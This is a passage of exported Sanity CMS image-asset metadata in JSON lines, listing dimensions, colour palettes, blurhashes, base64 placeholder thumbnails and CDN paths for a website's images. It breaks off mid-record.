{"_createdAt":"2022-06-30T19:59:53Z","_id":"image-123eed05ba2bf4747134c53efd3bbac76c0f81db-1600x471-png","_rev":"CK1sLU2mnwa3vmbYWEcbvU","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:28Z","assetId":"123eed05ba2bf4747134c53efd3bbac76c0f81db","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DLT5Ve,%Q7rYqG:jaIivjGcE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397027600849257,"height":471,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABcRAAAXEQHKJvM/AAABo0lEQVQYlSXPzUvTAQCH8d8/EBFEZNGLgQx6cbMy7DCjhswX3HJjOdwapqYiTNNDSEWupDUcNjdGbRpIuYMdig7RWSnwEORBxHPYIaKcuLnI+fs+UR0ePufHYGyv9OiwiB2Hx8dE9CiMH4GxKhi1wnAdDFyBrmbkbQVHK7rsRt6rKOTD9HeqHBxkJ3RLZtN1GRo/KE2eFMmzkDr334QN4rUQvQSRRhh1w4AbtbdAQzNyevk9MkgxM0Ehm1Uh85JSNK1dX58MPdgv4hYxZYNkjZiqgUQ1TJyBh1a4UwvDduiyI089NDgwXX6KT1J8/7TEt7VV/VheoZh7rXIgLIO4BWbbYP6meNXLv+Z74LkbIhYIV0DPCdRxCrWdB6cd0+OnNP2C/Jd1fubz5Ne/avvNe/6uGzyzi3f3xEIWLUyLxRlYzMLb2xCzQngfdFegYBXy2aDlIqbHw69Emq3Py2ytrarw4SOlp7MqX+uXQaxSzDSKuQDKBUUuCHMdkHFA5BAM7YHeAyhUidpPg+sCpquJ7fAIG8k0G6mUNu/ep3hjSGVnQH8As/xTyxHS9UcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#833c01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":13.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e1c7ce","foreground":"#000","population":1.86,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7ca4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a3524e","foreground":"#fff","population":0.55,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":13.23,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"123eed05ba2bf4747134c53efd3bbac76c0f81db-1600x471.png","path":"images/sczeoy4w/production/123eed05ba2bf4747134c53efd3bbac76c0f81db-1600x471.png","sha1hash":"123eed05ba2bf4747134c53efd3bbac76c0f81db","size":126248,"uploadId":"goczM6KYRCQpsw2PcsLicXwlMCFHR8yc","url":"https://cdn.sanity.io/images/sczeoy4w/production/123eed05ba2bf4747134c53efd3bbac76c0f81db-1600x471.png"} {"_createdAt":"2022-10-25T12:58:10Z","_id":"image-125fe06a3a0b9af31dc87c897b2a0a8074b67e40-1048x595-gif","_rev":"W78nexzvCoIeJ1nQtOYqLo","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T12:58:10Z","assetId":"125fe06a3a0b9af31dc87c897b2a0a8074b67e40","extension":"gif","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5Ss50-;t6~WD%R.niIARjjr4ot6V?afae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.761344537815126,"height":595,"width":1048},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAEDAgj/xAAeEAACAgICAwAAAAAAAAAAAAAAAQIDETEEITJxgf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDp9VQitZWNMdcYSXUUis1lP0Yp8foCfHre4oCwAf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5c5b","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e7525","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cda0a8","foreground":"#000","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cda0a8","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcacbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b86476","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1ace42","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"125fe06a3a0b9af31dc87c897b2a0a8074b67e40-1048x595.gif","path":"images/sczeoy4w/production/125fe06a3a0b9af31dc87c897b2a0a8074b67e40-1048x595.gif","sha1hash":"125fe06a3a0b9af31dc87c897b2a0a8074b67e40","size":156702,"uploadId":"ELKO7QCAOGQiN6C8OueUGxBMG1yxzI33","url":"https://cdn.sanity.io/images/sczeoy4w/production/125fe06a3a0b9af31dc87c897b2a0a8074b67e40-1048x595.gif"} {"_createdAt":"2022-07-20T14:00:41Z","_id":"image-1272a23b189a39fd2b65698279c63cf86df3e5a8-1200x630-jpg","_rev":"qSZxM9b8jt7q1sKE6pvWJK","_type":"sanity.imageAsset","_updatedAt":"2022-07-20T14:00:41Z","assetId":"1272a23b189a39fd2b65698279c63cf86df3e5a8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNP~[^.TXmQ.?aGcMxs9tkX9?uDisAtlM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUEBgf/xAAhEAACAgIBBAMAAAAAAAAAAAACAwEEAAURBhIhQSIxkf/EABYBAQEBAAAAAAAAAAAAAAAAAAMBBP/EABwRAAICAgMAAAAAAAAAAAAAAAABAgMTITFB0f/aAAwDAQACEQMRAD8A3ezS2RWDJVqBXM+B7vqMRdTdQ3NEtVKSBllwz2s55kcti44snPn9xfs9TRu7FDrVYGtGOIIvWDO58I1V1QTbnv3oganqxTqQS5TSaHwORHmJmMMfprIQuASoACPUDhg52XCj/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252e41","foreground":"#fff","population":4.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e5584","foreground":"#fff","population":0.27,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f54a3a","foreground":"#fff","population":4.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccb59c","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f54a3a","foreground":"#fff","population":4.68,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c76af","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f52448","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Event_Driven_Architecture_meta_preview.jpeg","path":"images/sczeoy4w/production/1272a23b189a39fd2b65698279c63cf86df3e5a8-1200x630.jpg","sha1hash":"1272a23b189a39fd2b65698279c63cf86df3e5a8","size":194933,"uploadId":"tu8qrPgKPzPcnIwIADYzRWi4RO01F5YM","url":"https://cdn.sanity.io/images/sczeoy4w/production/1272a23b189a39fd2b65698279c63cf86df3e5a8-1200x630.jpg"} {"_createdAt":"2022-06-14T14:41:04Z","_id":"image-12d2849fafc3f662e692f4f3c1e1a77f05191a99-450x450-jpg","_rev":"qkpX9b3U0TpOGFQp8XG1F8","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:04Z","assetId":"12d2849fafc3f662e692f4f3c1e1a77f05191a99","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eSI4#4R+0fxav}00ofW;WB%M.TWA=xR+NH9Zt7xZofM_M{RjoeRjxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":450,"width":450},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAQHCAX/xAAmEAABBAIBAwMFAAAAAAAAAAACAAEDBAURBgcSExQhcRUiUlOB/8QAFwEBAQEBAAAAAAAAAAAAAAAABAABA//EABkRAAMBAQEAAAAAAAAAAAAAAAABAgMEMf/aAAwDAQACEQMRAD8Azzx3H/U8xVqftPTqxuddNwxmD9bVkc5YxZyEB+3SkdP+lPISGjnimipxi7SiJ7c3b4Vpch4zmOUcXvUsf5BkEN7f273/AB/qPtVrSVIznjN5U79MlOin5TD38XelqX6k0NiN9EBC+2RKBG+sCIlSiFxHtZta17aXdiqwwE/hBg+ERYzoQb2Exd6w89zH1p5nbTmcbO7oiKI//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#433029","foreground":"#fff","population":2.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#641c0d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e5a587","foreground":"#000","population":5.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcc5","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5a587","foreground":"#000","population":5.53,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#927771","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b65949","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"0__3_.jpeg","path":"images/sczeoy4w/production/12d2849fafc3f662e692f4f3c1e1a77f05191a99-450x450.jpg","sha1hash":"12d2849fafc3f662e692f4f3c1e1a77f05191a99","size":29131,"uploadId":"jQARmXZr5kKWc4Bk8RGKPiFQrn2E6Euq","url":"https://cdn.sanity.io/images/sczeoy4w/production/12d2849fafc3f662e692f4f3c1e1a77f05191a99-450x450.jpg"} {"_createdAt":"2023-12-14T13:42:32Z","_id":"image-12db39ccc8d33b18cfffb088a0746e5ce0a20f32-4032x3024-jpg","_rev":"Do3156plRwIXmiihNvL1zD","_type":"sanity.imageAsset","_updatedAt":"2023-12-14T13:42:32Z","assetId":"12db39ccc8d33b18cfffb088a0746e5ce0a20f32","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":3024,"width":4032},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFBgf/xAAjEAABAwMEAwEBAAAAAAAAAAABAgMFAAQRBhIhMQcTcUFh/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgQFBv/EAB4RAAIBAwUAAAAAAAAAAAAAAAECAAMSYQQhMUHw/9oADAMBAAIRAxEAPwDj+ltBSE1aIumXG0Mlz14PZ/uKZl/HkvG3TTaQ3hxYbCievtZ2K1nJxiQmzc9ad24DPVPK8gS90VpvHS/uzjceif2tTe4ZirbdYiwHEl38c/a3jrD6gHG1FJ29H5RUt2SuFuKUVck855oqgmsoBQGJJ9mDa8//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343554","foreground":"#fff","population":1.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#060a6b","foreground":"#fff","population":5.84,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#060a6b","foreground":"#fff","population":5.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1b5d3","foreground":"#000","population":5.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7792e9","foreground":"#fff","population":1.43,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa7a5c","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e1aec","foreground":"#fff","population":0.39,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IMG_3646.jpg","path":"images/sczeoy4w/production/12db39ccc8d33b18cfffb088a0746e5ce0a20f32-4032x3024.jpg","sha1hash":"12db39ccc8d33b18cfffb088a0746e5ce0a20f32","size":725686,"uploadId":"JCyQgmUIv8yfWDBTLFdyIqWQW5QMRtsW","url":"https://cdn.sanity.io/images/sczeoy4w/production/12db39ccc8d33b18cfffb088a0746e5ce0a20f32-4032x3024.jpg"} {"_createdAt":"2024-08-22T08:07:18Z","_id":"image-12ef81b6256c323314f28e0c762ed13e13007b2c-712x1066-jpg","_rev":"H2BFRYjmvpoUBspHJlBH7R","_type":"sanity.imageAsset","_updatedAt":"2024-08-22T08:07:18Z","assetId":"12ef81b6256c323314f28e0c762ed13e13007b2c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dAFrxF%L1+56L}oJ4nRi02kWzo-pJ~NH_4%3DgM^$^t5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6679174484052532,"height":1066,"width":712},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAGgAAAgMBAQAAAAAAAAAAAAAAAAcEBggBBf/EACYQAAEDAwQCAQUAAAAAAAAAAAECAwQABREGEiFBE1ExFGFxcoH/xAAWAQEBAQAAAAAAAAAAAAAAAAADBAX/xAAdEQABBAIDAAAAAAAAAAAAAAACAAEDEQQTFTFR/9oADAMBAAIRAxEAPwBX6Yh3S631cS2kl5YyVOchIHefVWfVmkLlbbXIedlw5OACpDKs4HeaYeiLbbdOiVKgspLnjPC1fP8ATUe5IYuUo+KK22srG/aoELHYxUZjRUmjxmON5Fm4THEEp8YOD0mitIjTdu7gsZ/UUVToUqnJtlqt2npDb81xUlSCELXwCfxVa0tIYaujz0pbaMgIbQ0cjPs15g1L9UyDOjBwL54PxXBLh5SYjC2yoZO7Fa3HQFIJM9UjDLMI3jrtNZAirSCJDKvvuopTl1Tp3IWtI9Zop3wo/XQbiX//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b4229","foreground":"#fff","population":2.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#243e7e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5069a5","foreground":"#fff","population":8.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1b0cf","foreground":"#000","population":2.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#859ce4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5069a5","foreground":"#fff","population":8.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#637dc1","foreground":"#fff","population":7.33,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"janek.jpg","path":"images/sczeoy4w/production/12ef81b6256c323314f28e0c762ed13e13007b2c-712x1066.jpg","sha1hash":"12ef81b6256c323314f28e0c762ed13e13007b2c","size":167471,"uploadId":"Z0lNgFqVodaEz3mc1hdaRLIc9CBoXwsU","url":"https://cdn.sanity.io/images/sczeoy4w/production/12ef81b6256c323314f28e0c762ed13e13007b2c-712x1066.jpg"} {"_createdAt":"2022-09-19T17:34:41Z","_id":"image-12f8ed000ec2661ffa5fe7c4c665b23a9a2e2b2b-690x413-png","_rev":"heqX94pomd70Sxq8XxNPo6","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:41Z","assetId":"12f8ed000ec2661ffa5fe7c4c665b23a9a2e2b2b","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABbUlEQVQokY2STU4VQRSFv/dQcYREIBjUIBOMA/8mxkQF0QhoNGJg6hJk6pQ40PMgLMCZEzfhNsw5Cbsx1V3NayOGV8lNdVX1/e7PuSDDKKBiPtvK+8Tr4KTC0joe1X3Ug50V5L9r1MvwW/Pz4K/MTiE5x1wDNY6NwxDlKsoy8hzy8BR6fB4sY2gtbYByA+UDyj7ye+SF+nYJeQb5cg1abNCz4fiuy7DNbA/lGOUn8nfkDZQCu4b8CPk2ylINvIAyX8/LyLeQ55GnqKU9Rv6KfFD3X8hfkFeR7yPvIm+jPEd5gfIE5SnKS+TXyO+QHyBPF+A08hbyZ5Q3KG9RfrSZZgf5IfI68iuUTZSNCi3nZ8hr7ZvvIF8swAvIJe27KCso91A+onxCWUdZRJ4dl5frteybbekuApa2lD4POrlLc6dQSuOv1B4tosy0902f+wJ0wnQKdwJ1ovRmrZnLvnUzNunY9IGHv/8FTgqq338AR4NGGR/pP6sAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#364c63","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043c88","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#058bee","foreground":"#fff","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#035795","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7dc6fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#487594","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#058bee","foreground":"#fff","population":0.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"azure-690x413.png","path":"images/sczeoy4w/production/12f8ed000ec2661ffa5fe7c4c665b23a9a2e2b2b-690x413.png","sha1hash":"12f8ed000ec2661ffa5fe7c4c665b23a9a2e2b2b","size":18371,"uploadId":"gl76q3Tvs1ILxyZX2lqBsIwIWfYjtTPN","url":"https://cdn.sanity.io/images/sczeoy4w/production/12f8ed000ec2661ffa5fe7c4c665b23a9a2e2b2b-690x413.png"} {"_createdAt":"2022-06-15T05:08:47Z","_id":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_rev":"cEPH2uRN58AU2lp9QO7oiX","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:44Z","assetId":"1335e1a409ae973cc1e54e9ef2d7025fa306603e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCTM_-z+eU%3gO*#iceSiwe-ZNg2h0g3e-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB8klEQVQokW3RWUsUABRA4bEFrECDMihboXqwwJJy0rLFwqYGsxkdHco0NU0nG5dUSsV6aA8y2iiKHqrfeb+YppV6ONy3w7n3JhzujO8c6irPxkxobg/HU6G1NZxtCelk6DgYuvaH/N7QuysM1IbhmlBYH4prw/TqMFsRiV/CnyQvhqPpcLItnDkZUs2h/XDI1IfuunBpd+jbEYY2h+sbwo2qMFkZZlaGuURJ2KVMJ41ZmtppSdF6mtQJ2pvpaKBzHz176d3J1VqGaxhbT3Ed06uZrWAuIeFQad1SXTYkO8KxdDhzPmQvhL5sGEiHKy1hsCmMNoYbB0OxLozXhvG/68qFyRxNPbSUuMiJc3TnWZjlySIPpngwxvObvCpxjRd57jYwWf2jbsX3unLh2SHSI3QXuHCZtjSDV1l+yNtHLN/mzR0+LfF5gU8TvOvjYZKZKm6VZBV/CMfuMbJA4TaDBXI5Lncy0cdUnmKaW+eYT3GvjbvHWKpnfhszlb9u91v49AOLz5haZGKa0SF6UmSOkGsgv4/ePQzsYmQrhU3crGZqDTMr/5KVhW++8PgVS/eZm2W0n9wpOg6UP5v/8dmBLQxvZKya4lqmV/1TVxa+/8rrjyy/ZH6O/gyZJrL1dNdxaTf92xnazOgGxquYrPxvXUn4DQOrB/Kv/Y3AAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#833c01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":20.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6aea6","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc829f","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bc7f6c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":20.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308.png","path":"images/sczeoy4w/production/1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308.png","sha1hash":"1335e1a409ae973cc1e54e9ef2d7025fa306603e","size":124849,"uploadId":"S3lpW6ZI6EPbMh63VfH4t0AVwzTG2PnC","url":"https://cdn.sanity.io/images/sczeoy4w/production/1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308.png"} {"_createdAt":"2022-06-15T20:02:41Z","_id":"image-1374824d15c2a967897ae5b9f03adc36d7146369-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriMFB","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:23Z","assetId":"1374824d15c2a967897ae5b9f03adc36d7146369","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96R+o-;RPs.jt?wx]M|a}j?WCf5WEV@of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACjklEQVQokU2S628SURDFFyhQoAVUbG01PsK+7uITbCsWbdrUaoyJVWSBXXaBAjUqPhqtr1jbEq3x8T//zN5q9MPJ3Mm9c+bMmavELz1lcu6FRKr0nPTcc47ND8mVHpO91CN7cYPp0oBT85tMX+4woTeI5RtENA/F7KGIwR/0CAX5icWXFB/scq024sr6LlerI8r1r8xV9zl/7xOFux9ZqO6x1BhRuveBqWKfhNEiLjqMWX1ChU1Cok/Y6BDR2yhnK0Nu1nZYc0csN/ZZ9Q5Ybf+g4nxjwf5CuXHASvsnq91fVJwDzDsfOLf8BvXWO86svCUz/4JwYVOqDZkbKGfLj6msv+d2c5c1Z49b7ogb9j5X13co3t+Rype879xofed685ucoPhgj3L9C6WH+8xUthgrDCSZJJwtdine3mKl9oll+zPFu9ucXnzG1PwTji8MmVp8xcmlbWaWtjlR2WL62lDezZafMbPwlMyFLgndYVxrEtMclOz5NmfKTyisvaZw5y2z5SFxq0s46Cj6hKzBP4ie9GpMa8nihNYgrdbIqlXS6iMS+RpK1GgzbnVIXeiRujggXugTFv9tL/DG6EqisNEmqnsktCYTWp2MZpPTqxJpzZYqlaBbVHWJqg4R1SWs+4deiL5EcI4Eqow2McMnqTtkdJusbnPEqHPUCKLNhOEQNXyUtFYnZzbIWS6TpkNcbTKmuUR0T36DgCiYIm51SFodJkWLrHAkMsIlK1wZk8InIjZQctojThWazF72yVotxtU6sXz9ULHuS3Uxs01C+LIoaXqkzBZJ4R3mwidhdYiJLhGzg5LUGlJuyvSIGx5RrSVND8j+ji5JNZd4vs543pYxWIp8q/tygWGzK2t+A0fmcCSJsaumAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c3135","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":31.28,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":31.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#92a0be","foreground":"#000","population":0.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5bbd9","foreground":"#000","population":0.49,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b575b","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#33498f","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1374824d15c2a967897ae5b9f03adc36d7146369-1567x844.png","path":"images/sczeoy4w/production/1374824d15c2a967897ae5b9f03adc36d7146369-1567x844.png","sha1hash":"1374824d15c2a967897ae5b9f03adc36d7146369","size":73713,"uploadId":"jOu2mkaoyyAVYBJ9t7UhwKcoeQHLXTR6","url":"https://cdn.sanity.io/images/sczeoy4w/production/1374824d15c2a967897ae5b9f03adc36d7146369-1567x844.png"} {"_createdAt":"2023-09-14T16:57:05Z","_id":"image-1391ddb8627f701ae9b01d788dbdda840ae3202c-1200x630-jpg","_rev":"E3l20vRSvwhCawbkeNTq1f","_type":"sanity.imageAsset","_updatedAt":"2023-09-14T16:57:05Z","assetId":"1391ddb8627f701ae9b01d788dbdda840ae3202c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MnQ}[e|?E+R+,.s:ofaxe.jb,.I@sls.Nx","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGBP/EACAQAAICAgICAwAAAAAAAAAAAAECAwQABQYhETESIlH/xAAWAQEBAQAAAAAAAAAAAAAAAAAHBAX/xAAeEQACAgICAwAAAAAAAAAAAAABAgMEABETIVFhcf/aAAwDAQACEQMRAD8AcVo6yVo2l